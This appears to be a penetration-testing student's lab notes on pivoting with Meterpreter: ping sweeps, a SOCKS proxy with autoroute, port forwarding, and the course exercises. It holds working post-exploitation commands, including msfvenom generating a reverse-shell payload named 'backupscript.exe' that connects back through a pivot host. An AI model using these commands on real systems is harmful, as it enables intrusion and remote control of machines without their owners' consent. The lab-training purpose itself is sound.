---
title: "4. Meterpreter tunneling and forwarding"
date: 2024-08-24
draft: false
---

tl;dr method found in [[3a. attempting reverse forwarding]]


## meterpreter ping sweep
```bash
run post/multi/gather/ping_sweep RHOSTS=x.x.x.x/23
```
## ping sweep for-loop on linux/windows pivot hosts
We could also perform a ping sweep using a `for loop` directly on a target pivot host that will ping any device in the network range we specify. Here are two helpful ping sweep for loop one-liners we could use for Linux-based and Windows-based pivot hosts.

```zsh 
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
```

cmd
```cmd
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
```

```powershell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
```

There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get us successful replies. In these cases, we can perform a TCP scan on the 172.16.5.0/23 network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module socks_proxy to configure a local proxy on our attack host. We will configure the SOCKS proxy for SOCKS version 4a. This SOCKS configuration will start a listener on port 9050 and route all the traffic received via our Meterpreter session.

## meterpreter socks proxy

```bash
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run

Confirming its running: 
jobs
```

Configure proxychains to route traffic
```bash
--/etc/proxychains.conf

socks4 	127.0.0.1 9050
```
Note: Depending on the version the SOCKS server is running, we may occasionally need to changes socks4 to socks5 in proxychains.conf.

Finally, we need to tell our socks_proxy module to route all the traffic via our Meterpreter session. We can use the `post/multi/manage/autoroute` module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.
```bash
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run 
```

alternatively: `run autoroute -s 172.16.5.0/23`

list active routes with autoroute:
`meterpreter > run autoroute -p`

## meterpreter port forward
```bash
help portfwd
    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.
    -R        Indicates a reverse port forward.
```

**local tcp relay**
```bash
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19

[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389

The above command requests the Meterpreter session to start a listener on our attack host's local port (-l) 3300 and forward all the packets to the remote (-r) Windows server 172.16.5.19 on 3389 port (-p) via our Meterpreter session. Now, if we execute xfreerdp on our localhost:3300, we will be able to create a remote desktop session.

xfreerdp /v:localhost:3300 /u:victor /p:pass@123
```

## Meterpreter reverse port forwarding
```bash
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234
```
**configuring and starting multi/handler**
```bash
meterpreter > bg
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 8081
set LHOST 0.0.0.0
run

[*] Started reverse TCP handler on 0.0.0.0:8081 

We can now create a reverse shell payload that will send a connection back to our Ubuntu server on 172.16.5.129:1234 when executed on our Windows host. Once our Ubuntu server receives this connection, it will forward that to attack host's ip:8081 that we configured.
```

**create msfvenom payload**
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
```

---
module exercises: 

Setting up a meterpreter shell on the SSH (ubuntu) host so we can use meterpreter session stuff 

![](/img/Pasted image 20240824212622.png)

 What two IP addresses can be discovered when attempting a ping sweep from the Ubuntu pivot host? (Format: x.x.x.x,x.x.x.x)
 ![](/img/Pasted image 20240824212854.png)
  Which of the routes that AutoRoute adds allows 172.16.5.19 to be reachable from the attack host? (Format: x.x.x.x/x.x.x.x)

## configuring meterpreter socks proxy, screenshots
![](/img/Pasted image 20240824213458.png)
![](/img/Pasted image 20240824213546.png)

![](/img/Pasted image 20240824213541.png)

Finally, we need to tell our socks_proxy module to route all the traffic via our Meterpreter session. We can use the `post/multi/manage/autoroute` module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.

![](/img/Pasted image 20240824213646.png)
